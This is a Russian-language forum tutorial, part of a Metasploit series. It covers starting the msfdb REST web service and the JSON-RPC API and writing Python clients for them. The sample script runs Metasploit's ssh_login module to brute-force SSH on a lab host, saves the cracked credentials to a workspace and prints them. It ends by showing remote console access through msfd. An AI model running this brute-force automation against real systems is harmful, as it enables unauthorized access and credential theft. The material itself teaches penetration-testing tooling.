Еще одна очень крутая, по моему мнению, вещь появилась во фреймворке не так давно. Если вы пользовались фреймворком примерно год-два назад, вы возможно видели что при запуске команд связанных с msfdb появлялось предложение запустить веб-сервис. В данный момент этот “выключатель” убрали из стандартного вывода, но не убрали совсем. А ведь этот сервис представляет очень полезный функционал для автоматизации и удаленной работы с фреймворком. О нем я сейчас и постараюсь рассказать.
Этот веб-сервис представляет собой апи, которое позволяет работать со всем, что связано с бд. Это воркспейсы, хосты, полученные данные и все остальное. Само апи сделано по стандарту REST, а значит сервис довольно прост в освоении. Так же, сервис предоставляет небольшой веб-интерфейс, который позволяет произвести авторизацию для подключения к апи, а так же, что немаловажно – документацию swagger, которая позволяет подробно изучить всю работу апи и даже опробовать запросы, что называется “не отходя от кассы”
Для тех кто возможно не в курсе чем REST-api отличается от тех, которые я описывал ранее поясню – это апи используется не для управления фреймворком, в отличие от RPC, а для работы с данными, которые хранятся в бд метасплоита. В отличие от апи управления, где мы отправляем команду в теле запроса всегда на один url, в данном случае для каждой определннйо сущности бд используется отдельный эндпоинт.
К примеру для работы с воркспейсами будет использоваться
http://<msf-server>/api/v1/workspaces
а для работы с заметками уже
http://<msf-server>/api/v1/notes
Так же, большую роль играет тип HTTP-запроса, который отправляется на сервер. С данными мы можем совершать четыре основных действия – создавать, получать, изменять и удалять. Такая модель взаимодействия называется CRUD (create read update delete) и позволяет в зависимости от типа зпроса выполнять определенное действие. Например, если вы отправите GET-запрос на url http://<msf-server>/api/v1/workspaces сервер вернет вам список рабочих областей, а если вы отправите DELETE запрос на точно такой же эндпоинт, сервер удалит выбранную рабочую область. В теле запроса указываются дополнительные данные, необходимые для выполнения запроса (например параметры для создания рабочей области в случае с POST-запросом или айдишники областей, которые надо удалить в случае с DELETE). А дабы вы не запутались в том, какие запросы существуют, что в них надо указывать и как вообще все это работает, разработчики прикрутили к сервису swagger, который по сути представляет собой интерактивную документацию, которая позволяет не только посмотреть все виды запросов и ответов на них, но и попробовать выполнить их прямо здесь и сейчас:
Предварительная подготовка
Перед тем как начнем – важный момент. Для корректной работы со всем, о чем идет речь в этой статье вам понадобится последняя версия метасплоит. На момент написания статьи это
6.4.28-dev
Важно: версии, выпущеные ранее, скорее всего не подойдут. Если вы попытаетесь провернуть примеры отсюда на версии из репов, то скорее всего столкнетесь с тем, что работать это все будет не так как ожидалось. Понятно что это все актуально на момент написания статьи и возможно скоро во всех в репозиториях появится именно то что нужно, но для корректной работы я всетаки рекомендую вам установить свежую версию используя документацию разработчиков metasploit. Самый простой способ сделать это – это ввести команду:
Bash:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Во избежание ошибок, перед установкой свежей версии лучше удалите старую во избежание конфликтов. Это к слову не единственный способ установить последнюю версию метасплоит, об остальных вы можете почитать на их сайте.
Запуск Серверов
Итак, после того как мы подготовили ПО и поставили последнюю версию, нам нужно запустить апихи. Давайте по очереди запустим их:
Инициализируем БД
Первое, что обязательно нужно сделать перед основной работой с бд – это инциализировать базу данных. В последних версиях метасплоит разработчики несколько пересмотрели свой подход и теперь сервис msfdb не требует рут-привелегий в системе для работы. Это присходит потому что теперь большая часть нужных данных хранится в папке .msf4 и для того чтобы все это создать запускаем команду
msfdb init
Созданные в процессе данные обязательно будут нужны двум нашим сервисам для их работы, так что в первую очередь выполняем именно это инциализацию
Запуск webservice
Если все прошло успешно, можем двигаться дальше. Начнем мы с rest-api для работы с БД. Начинать нужно именно с него, так как через него мы зададим данные, которые потом будут использоваться для входа и в другом сервисе. Итак, нам нужно инциализировать уже не бд, а компонент веб-сервис. Делается это так же через команду msfdb init, но вам нужно к команде работы с бд добавить флаг --component webservice, а так же добавляем флаг –no-ssl для того чтобы отключить ssl. Так же, при необходимости вы можете задать адрес (-a) и порт (-p), например если вам нужен доступ извне. В итоге получаем вот такую команду:
msfdb init --component webservice -p 8085 -a 192.168.1.6 --no-sslОднако, если мы попытаемся сразу выполнить эту команду – получим ошибку:
Как видим, сервис ругается на отсутсвие сертификатов. Даже несмотря на то что мы решили не использовать ssl они ему необходимы. Вообще, веб-сервис вроде как должен сам их сгенерировать, как мы видим из последней строки ошибки, однако эта фишка фреймворка еще видимо допиливается, а значит, если не может msfdb – сделаем сами. Для этого переходим в директорию .msf4 и выполняем вот такую команду:
openssl req -x509 -newkey rsa:4096 -keyout msf-ws-key.pem -out msf-ws-cert.pem -sha256В процессе у вас запросят создать пароль, а так же запросят информацию для сертификата (там можно ничего не указывать и просто прожать Enter несколько раз)
По результатам у вас в директории появятся два необходимых сервису файла:
указать логин и пароль, которые будут использоваться для входа в систему. После того как вы это сделаете вы увидите уведомление о готовности сервиса, который уже автоматически запустился:
Сервис выведет нам логин и пароль, а так же токен доступа к апи, на основе наших данных, заботливо предупредив чтобы мы их хранили в секрете.
Так же, сервис последней строкой выведет нам url, по которому мы может эти логин и пароль применить. Давайте перейдем туда:
Как видим, нам тут предлагают сначала авторизоваться. Кликнув по ссылке, мы увидим страницу авторизации:
Если мы вобьем в поля логи и пароль от сервиса, то сервис покажет нам наш токен доступа, который мы можем использовать для доступа к api.
А теперь самое интересное – в шапке вы видите надпись API Documentation. Если вы кликните по ней, то попадете вот на такую страницу
Это и есть swagger-документация. Тут вы можете посмотреть запросы, а так же опробовать их. Для того чтобы “потыкать” апи, предварительно авторизуйтесь, нажав кнопку authorize справа и введя туда только что выданый токен.
Для остановки сервиса можно использовать такую команду:
[B]msfdb stop –component webservice[/B]
Ну и для того чтобы снова запустить - то же самое, что и при инициализации, но меняем init на start. При простом старте, при условии что все инициализировано, вывод будет уже не такой информативный:
Запуск json-rpc-сервера
После того как мы запустили msfdb-вебсервис, можно переходить и к новому json-rpc api. Как и с предыдущей версией апи-сервера, есть несколько способов стартануть json-rpc сервер. Мы же будем использовать один, который к слову, я почему-то не увидел в документации, хотя он самый (имхо) удобный. Помните, когда мы запускали команду msfrpcd в предыдущей статье, там было несколько пунктов про json-api ?
Вот здесь-то они нам и пригодятся. А еще пригодятся ssl-сертификаты которые мы сгенерировали когда запускали веб-сервис для бд. Как видим из ключей -k и -c дефолтный путь к этим файлам как раз тот, по которому мы их и сгенерировали. Так что никаких дополнительных действий нам делать не потребуется. Для запуска используем команду:
msfrpcd -j -S -fгде:
-j – запускает JSON-RPC сервер
-S – отключает SSL. Я по прежнему не хочу его использовать, дабы не загружать код лишний раз.
-f – Запускает сервер в форграунде, дабы мы видели все что происходит
В результате получаем запущенный JSON-RPC:
В целом на этом наш сервер готов к работе.
Однако, давайте посмотрим на еще один интересный момент. Если мы попробуем перейти на тот же url для входа в акканут что и в веб-сервисе БД, мы увидим очень знакомую картину:
Здесь мы так же можем авторизоваться и получить токен доступа, который будет идентичен тому, что используется в вебсервисе. То есть, один токен для двух разных сервисов, что получается благодаря тому что данные пользователя и его токен теперь хранятся в бд. Это сделано для того, чтобы вы все равно могли получить авторизованный доступ к json-rpc-api, даже если вам не нужен работающий веб-сервис. Однако, инициализацию вебсервиса предварительно выполнить все-таки придется.
Ну и самое разочаровающее отличие заключатеся в том, что если вы попробуете посмотреть документацию кликнув по кнопке в шапке, сервер скажет что вы ошиблись и документации у него для вас нет:
Очень хочется верить что в будущем эта страница пустовать не будет и мы увидим здесь такую-же удобную документацию как и в случае с веб-сервисом, однако на данный момент имеем что имеем. И так как сервисы мы с вами стартанули, давайте двигать дальше.
Пишем клиент
Постановка задач
Прежде чем приступать к написанию кода, давайте определимся с тем, что именно наш код будет делать. Дабы не заниматься самоповторами, так как приличное количество методов были приведены уже в предыдущей статье, мы поставим маленько другие задачи. В первую очередь я хочу показать как работать с методами для работы с бд и всего что с ней связано.
Поэтому суть скрипта в этот раз предлагаю следующую – мы автоматизируем брутфорс ssh через metasploit, сохранив найденные данные в рабочую область. Для этого я заранее подготовил тачку с доступом по ssh.
Для реализации того что мы хотим, мы задействуем сразу оба api. Учитывая что у этих апи общий функционал авторизации и они по сути дополняют друг друга – отличный подход, по моему мнению, совмещать эти два апи, распределив задачи таким образом, чтобы за всю общую работу с бд отвечал rest, а за выполнение команд – json-rpc.
Таким образом у нас получится примерно вот такой алгоритм скрипта:
1. Авторизируемся, получаем токен доступа (REST) – Первое что нам нужно сделать – получить токен доступа. Проще всего это сделать через Rest-api, а так как токен доступа будет общий, мы используем его же, для авторизации и в json-rpc.
2. Создаем рабочую область и выбираем ее как активную (JSON-RPC) – Далее, чтобы все собранные данные сохранились в бд метасплоит, мы создадим отдельную рабочую область и выберем ее. Эта задача уже для json-rpc
3. Запускаем модуль для перебора ssh (JSON-RPC) – далее нам нужно запустить сам модуль и убедиться что он отработал. Если все пройдет успешно, полученные данные сохранятся в бд метасплоита и мы сможем просмотреть их. (в msfconsole для этого используется команда creds)
4. Получаем логин и пароль от ssh из базы данных (REST) – как и было сказано ранее, сбрученные логи и пароль в случае успеха сохранятся в базу. На этом этапе мы их вытащим из базы через rest-api и выведем на экран
Скрипт получится небольшой и никакой работы с сессиями и метерпретер тут не будет, но об этом мы уже говорили в предыдущей статье. Здесь же сделаем упор на бд, сохранение и получение данных. Давайте начнем.
Формируем класс клиента json-rpc
Начнем мы по классике – сформируем класс для json-rpc, в который положим все методы и поля для взаимодествия с апи, сведя каждый вызов в основном файле к вызову одной функции.
Для этого импортируем нужные библиотеки
И создаем сам класс:
Python:
import requests
class msf_json_client:
В самом классе, первым делом зададим метод инициализации, в который мы при создании обьекта передадим необходимые параметры: url, id, и токен авторизации
Python:
def __init__(self, url, id, token):
self.url = url
self.id = id
self.token = token
И сразу же, как и в предыдущей статье сформируем метод для отправки запросов. Для отправки любого запроса нам потребуется метод и его параметры, поэтому задаем их дял передачи в функцию. Но, так как параметры требуются не всегда – задаем дефолтное значение для переменной параметров – пустой массив. В случае есили мы хотим вызывать метод, который не требует параметров, мы должны передать пустой массив в теле запроса там, где должны быть параметры:
Python:
def Send_request(self,method,params=[]):
Сам метод не делает ничего сложного – формирует хедеры, в том числе для авторизации, который генерирован на основе данных, которые были переданы при создании обьекта.
Python:
headers = {'Content-Type': 'application/json', 'Authorization':'Bearer ' + self.token}
Далее формируем json-тело запроса, которое тоже имеет общий шаблон. Передаем туда id, метод и параметры
Python:
data = {
"jsonrpc": "2.0",
"method": method,
"id":self.id,
"params":params
}
И отправляем запрос на заданный url
Python:
r = requests.post(url=self.url,headers=headers,json=data)
Ну и после получения ответа, проверяем соджержит ли тело ответа структуру с ключом “error”. Если она пристуствует – то выводим полученную ошибку и возвращаем пустую структуру.
Python:
if r.json().get("error") != None:
print(r.json()["error"])
return {}
Если же нет – значит все в порядке и мы просто возвращаем полученную json-структуру
Python:
else:
return r.json()
На этом пока отановимся – костяк для отправки готов, дале емы можем реализовать почти любой метод в пару строк кода. Далее сформируем следующий класс
Формируем класс клиента rest-api
По схожей схеме создаем и второй класс клиента – уже под rest api. Однако, тут нельзя выделить общий шаблон для отправки запросов, так как url, тип запроса и его тело будут отличаться для каждого конкретного случая.
Поэтому мы просто задаем функцию инициализации – передаем туда ту часть url, которая будет оставаться неизменной, а так же готовим поле для токена, куда его и запишем при получении:
Python:
import requests
class msf_rest_client:
def __init__(self,url):
self.url = url
self.token = ''
Получаем токен авторизации через rest-api
Далее нам нужно получить токен авторизации. Делать мы это будем через rest-api. Поэтому в класс клиента добавляем вот такую функцию
Python:
def auth(self, login, password):
headers = {'Content-Type': 'application/json'}
data = {"username": login,"password": password}
r = requests.post(url = self.url + "auth/generate-token", headers=headers, json=data)
self.token = r.json()['data']['token']
return r.json()['data']
Она отправляет запрос на эндпоинт url+auth/generate-token, передав в теле логин и пароль, которые были переданы в функцию. В результате нам придет структура, где под ключом “data” мы сможем увидеть еще одну структуру, в которой и будет лежать наш токен в поле “token” Первым делом мы записываем его в переменную url класса, но не забываем что он нам еще понадобится для создания класса json_rpc, поэтому еще вернем полученную структуру, а точнее ее часть – структуру под ключом “data”, откуда мы при желании сможем вывести токен.
(Учтите что обращение на этот url генерирует новый токен, после чего другие предыдущие токены становятся недействительны.)
После этого, можем начинать писать код в нашем основном файле. Для этого, помимо того что импортируем два наших класса клиентов, мы задаем переменные которые нам потом понадобятся. Здесь задаем url для наших классов клиентов, так же подготавливаем переменную для токена, переменную с именем нашей будущей рабочей области и задаем прямо здесь айпишник нашей цели. С флагами в этот раз заморачиваться не будем
Python:
from msf_json_rpc_client import msf_json_client
from msf_rest_client import msf_rest_client
import time
json_rpc_url = "http://192.168.1.6:55553/api/v1/json-rpc"
rest_api_url = "http://192.168.1.6:8085/api/v1/"
api_token = ''
workspace_name = "production_workspace_final2"
target_ip = "192.168.1.4"
После этого инициализируем наш rest-клиент и и вызываем у него функцию авторизации. Полученный токен записываем в переменную
Python:
rest_client = msf_rest_client(rest_api_url)
result = rest_client.auth("user","test1234")
api_token = result['token']
Ну и далее с использованием этой переменной уже создаем обьект класса json_rpc клиента.
Python:
rpc_client = msf_json_client(json_rpc_url,1,api_token)
Проверяем статус ДБ
Теперь самое время проверить работет ли наш RPC-client. C REST мы уже все выяснили, так как через него мы авторизовались, но давайте попробуем вызывать что-нибудь через json-rpc. Для этого предлагаю вызывать метод db.status, который вернет информацию о текущей базе данных.
Для этого в RPC-клиенте прописываем вот такую функцию
Python:
def get_db_status(self):
method = "db.status"
result = self.Send_request(method)
return result
Python:
print("----database: ", rpc_client.get_db_status()['result']['db'])
Теперь, если мы запустим скрипт, в терминале мы увидим примерно вот такое вот:
Это говорит что у нас все получилось, а значит наш код готов к более серьезным задачам. Давайте к ним и перейдем.
Создаем и выбираем workspace
Далее у нас по плану создание воркспейса и выбор его в активные. За это отвечают два метода RPC – db.add_workspace и db.set_workspace. Так же, мы используем метод db.current_workspace, который вернет нам текущую рабочую область, для того чтобы убедиться что все отработало как надо.
Для этого пишем три метода в классе RPC клиента:
Python:
def add_workspace(self, workspace_name):
method = "db.add_workspace"
data = [workspace_name]
return self.Send_request(method,data)
def get_current_workspace(self):
method = "db.current_workspace"
return self.Send_request(method)
def set_workspace(self, workspace_name):
method = "db.set_workspace"
data = [workspace_name]
return self.Send_request(method,params=data)
И далее вызываем их в основном файле. Из ответа current_workspace выдергиваем имя текущей рабочей области и выводим его в терминал:
Python:
rpc_client.add_workspace(workspace_name)
rpc_client.set_workspace(workspace_name)
print("----active workspace: ",rpc_client.get_current_workspace()['result']['workspace'])
Результат работы скрипта на этом этапе должен быть вот такой:
Как видим рабочую область мы успешно настроили. Теперь можно переходить к запуску модуля.
Запускаем модуль ssh_login
Для того, чтобы реализовать эту часть скрипта нам понадобятся следующие rpc-методы - module.execute и module.results. Давайте добавим их, и посмотрим как мы будем их использовать. Для начала добавляем в код RPC клиента вот такие методы:
Python:
def execute_module(self, target_ip):
method = "module.execute"
data = [
"auxiliary",
"auxiliary/scanner/ssh/ssh_login",
{
"RHOSTS": target_ip,
"CreateSession":"false",
"PASS_FILE":"/home/user/passwords.txt",
"USER_FILE":"/home/user/users.txt",
}
]
return self.Send_request(method, params=data)
def check_module_status(self, module_uuid):
method = "module.results"
data = [module_uuid]
return self.Send_request(method,params=data)
Параметры запускаемого модуля мы в этот раз захардкодим прямо в методе, так как запускать никакие другие модули нам не понадобится. Туда мы передаем айпишник цели, указываем что не хотим создавать сессию в случае найденых кредов, а так же передаем путь к файлам с логинами и паролями.
Теперь все необходимое у нас есть – возвращаемся в основной файл чекера. Здесь мы первым делом отправляем команду на запуск модуля, передав туда айпи нашей цели. В ответе мы получим данные, в том числе и uuid, по которому мы сможем отслеживать работу модуля. Выдернем его сразу в отдельную переменную:
Python:
result = rpc_client.execute_module(target_ip)
module_uuid = result['result']['uuid']
Далее нам нужно подождать пока модуль отработает. Но в зависимости от того, сколько у него будет вводных – паролей и логинов, время выполнения может быть абсолютно разным. Модуль может подобрать пароль со второй поптыки, а может со сто второй. Так что наш предыдущий вариант с time.sleep не прокатит. Поэтому сделаем по уму:
Реализуем бесконечный цикл, внутри которого вызываем метод для проверки статуса модуля. Если статус running – то ждем одну секунду и пробуем снова. Если статус окажется completed – значит наш модуль отработал и можно выходить из цикла. А вот любые другие статусы у этого модуля будут означать что что-то пошло не так, так что в таком случае мы просто роняем код с ошибкой. И еще одно – серверу нужно время чтобы при запуске модуля изменить его статус, так что если мы слишком быстро отправим запрос, может прийти статус ready, что будет означать что модуль еще не начал работу. Поэтому перед циклом подождем таки еще одну секунду:
Python:
print("Waiting module result:")
time.sleep(1)
while True:
module_status = rpc_client.check_module_status(module_uuid)
if module_status['result']['status'] == 'running':
print("waiting...")
time.sleep(1)
continue
if module_status['result']['status'] == 'completed':
print("module results ready")
break
else:
print("error module execute!", module_status)
exit(1)
Схема рабочая, но попробовав выполнить мы столкнемся с такой вот проблемой. После выполнения работы модуль вне зависимости от результата вернет вот такой ответ:
JSON:
{'jsonrpc': '2.0', 'result': {'status': 'completed', 'result': None}, 'id': 1}
Как видим в результе приходит None, а значит мы понятия не имеем успешно отработал наш модуль или нет. Здесь вы долны понять одну вещь – реализация работы с модулями через апи в метасплоите очень сильно зависит от модулей, которые вы будете использовать. Какие-то модули будут вам сообщать все как ожидалось, а какие-то нет и придется продумывать другие варианты для достижения желаемого результата. Но в нашем случае решить проблемку будет довольно просто.
Проверяем результаты работы модуля и вытаскиваем полученные данные из БД
Для того чтобы узнать успешно отработал наш модуль или нет – вспомним что мы не зря выбирали рабочую область. В случае успешной отработки модуля, сбрученные логин и пароль должны сохранится в базу рабочей области. А так как наш скрипт подразумевает создание отдельной рабочей области для работы скрипта, это должны быть единственные креды в рабочей области. Поэтому, напишем метод уже для REST-api, который выдернет данные по кредам из нашей рабочей области. Выглядеть этот метод будет так:
Python:
def get_creds(self,workspace_name):
headers = {'Content-Type': 'application/json','Authorization':'Bearer ' + self.token}
r = requests.get(url = self.url + "credentials?workspace=" + workspace_name, headers=headers)
return r.json()
Здесь все по аналогии – дергаем эндпоинт, передав в гет параметре workpspace имя нашей рабочей области.
Далее вернемся в код нашего чекера. В полученном нами результате, под ключом result придет массив с кредами. Однако, так как рабочая область у нас под скрипт, если у скрипта не получится сбрутить креды, мы получим в ответе пустой массив. Таким образом проверяем сначала, не пришел ли пустой массив, и, если нет – выводим полученные данные, выдернув логин и пароль:
Python:
if result['data']==[]:
print("CREDS NOT FOUND")
else:
print(
"username ssh : "+ result['data'][0]['public']['username'],
"password ssh : "+ result['data'][0]['private']['data'],
sep="\n"
)
И как видим все работает как надо – модуль отработал и сохранил нам данные для входа на ssh. А если логин и пароль не найдутся, то мы увидим вот такую картину:
Удаленная консоль от метасплоит
Еще одна интересная фишка, о которой бы хотелось сказать в заключении – это консоль, которая позволяет управлять фреймворком удаленно. Это может быть полезно в том случае, если вы к примеру хотите дать кому-то доступ к фреймворку, но настраивать ssh-доступ на тачку этому кому-то вам точно не хочется. К тому же вы не хотите давать “кому-то” возможность взаимодействия с системой. Работает это следующим образом.
В состав фреймворка, помимо всего вышеперечисленного так же входит еще один демон-пакет, и это msfd. Запускается он почти с теми же параметрами что и другие демоны – порт, сервер, но не требует авторизаци через логин/пароль. Заместо этого он позволяет настроить список хостов которым разрешено, или ноборот - запрещено подключатся.
Делается это через флаг -A для разрешенных хостов или через флаг -D для запрещенных. Так же, можно добавить флаг -f для запуска в форграунде
Сам запуск выглядит примерно вот так:
После того как вы увидели что все успешно, можно подключаться к консоли. Никакой специальный клиент для этого не нужен, вы можете использовать обычный netcat:
Как видим мы получаем полноценную консоль metasploit framework, в которой мы можем делать почти все то же самое:
Однако, небольшое отличие заключается в том, что вы не сможете в таком случае использовать команды оболочки (ls, cat, ifconfig, etc) а так же, команду clear.
Заключение:
В заключении хотелось бы сказать следующее – по моему скромному мнению, у api-сервисов metasploit огромный потенциал, так как доведенные до ума они могут предоставить отличную базу для разработки разных вещей для автоматизации и упрощения жизни. В данный момент разрабы работают над сервисами, что довольно легко заметить, если сравнить несколько последних даже не минорных релизов, а просто ревизий. Правки вносятся, дело не стоит на месте, и лично я надеюсь что однажды у фреймворка появится отличное апи, которое будет хорошо документировано и позволит реализовать весь потенциал фреймворка через этот интерфейс. Это открыло бы обширные возможности для разработки разных инструментов на его базе. Однако, интерфейс взаимодействия это одно, но фреймворк модульный, а значит его основа – это все-таки модули, которые и выполняют всю работу. Но, о них мы будем разговаривать уже в следующей статье, а я на этом статью заканчиваю. Спасибо за внимание!
Используем Metasploit по полной. Часть 1 - Основы
Используем Metasploit по полной. Часть 2.1 - RPC-API
©Urob0ros специально для форума xss.pro